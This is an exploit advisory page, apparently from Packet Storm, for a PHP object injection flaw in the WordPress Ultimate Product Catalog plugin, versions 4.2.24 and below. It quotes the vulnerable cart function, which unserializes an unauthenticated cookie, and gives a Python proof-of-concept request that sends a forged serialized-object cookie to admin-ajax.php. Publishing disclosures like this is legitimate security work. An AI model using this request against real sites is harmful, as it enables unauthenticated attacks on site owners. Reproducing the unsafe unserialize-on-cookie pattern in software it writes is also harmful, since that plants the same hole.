what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Ultimate Product Catalog 4.2.24 PHP Object Injection

WordPress Ultimate Product Catalog 4.2.24 PHP Object Injection
Posted Oct 30, 2017
Authored by tomplixsee

WordPress Ultimate Product Catalog plugin versions 4.2.24 and below suffer from a PHP object injection vulnerability.

tags | exploit, php
SHA-256 | 3a32c416cc40f0d2746a5880bfd6ee9b498b22a31a88ccef544429ac5814521e

WordPress Ultimate Product Catalog 4.2.24 PHP Object Injection

Change Mirror Download
# Exploit Title: [WP Plugin Ultimate Product Catalog 4.2.24 PHP Object Injection]
# Google Dork: [NA]
# Date: [Okt 30 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [http://www.etoilewebdesign.com/plugins/ultimate-product-catalog/]
# Software Link: [https://wordpress.org/plugins/ultimate-product-catalogue/]
# Version: [<= 4.2.24]
# Tested on: [Ubuntu Server 16.04]
# CVE : [NA]

tested on app version 4.2.23, 4.2.24

we can send an evil cookie (login not required) to vulnerable function
1. vulnerable code on Functions/Process_Ajax.php <= tested

203 // Adds an item to the plugin's cart
204 function UPCP_Add_To_Cart() {
205 global $woocommerce;
206 global $wpdb;
207 global $items_table_name;
208
209 $WooCommerce_Checkout = get_option("UPCP_WooCommerce_Checkout");
210
211 if ($WooCommerce_Checkout == "Yes") {
212 $WC_Prod_ID = $wpdb->get_var($wpdb->prepare("SELECT Item_WC_ID FROM $items_table_name WHERE Item_ID=%d", sanitize_text_field($_POST['prod_ID'])));
213 echo "WC ID: " . $WC_Prod_ID . "<Br>";
214 $woocommerce->cart->add_to_cart($WC_Prod_ID);
215 }
216
217 if (isset($_COOKIE['upcp_cart_products'])) {
218 $Products_Array = unserialize(str_replace('\"', '"', $_COOKIE['upcp_cart_products']));
219 }
220 else {
221 $Products_Array = array();
222 }
223
224 $Products_Array[] = $_POST['prod_ID'];
225 $Products_Array = array_unique($Products_Array);
226 setcookie('upcp_cart_products', serialize($Products_Array), time()+3600*24*3, "/");
227 }
228 add_action('wp_ajax_upcp_add_to_cart', 'UPCP_Add_To_Cart');
229 add_action( 'wp_ajax_nopriv_upcp_add_to_cart', 'UPCP_Add_To_Cart' );

2. vulnerable code on Functions/Shortcodes.php <= not tested

POC
1. use a WP plugin to test php object injection,
like this one https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/

2. make a request
#-----------------------------------
#! /usr/bin/python
import requests
url = "http://vbox-ubuntu-server.me/wordpress/wp-admin/admin-ajax.php?";
data = {'action':'upcp_add_to_cart'}
headers = {
'Content-type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Cookie': 'upcp_cart_products=O:20:"PHP_Object_Injection":0:{}'
}
r = requests.post(url, data=data, headers=headers)

print r.content

#------------------------------------

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close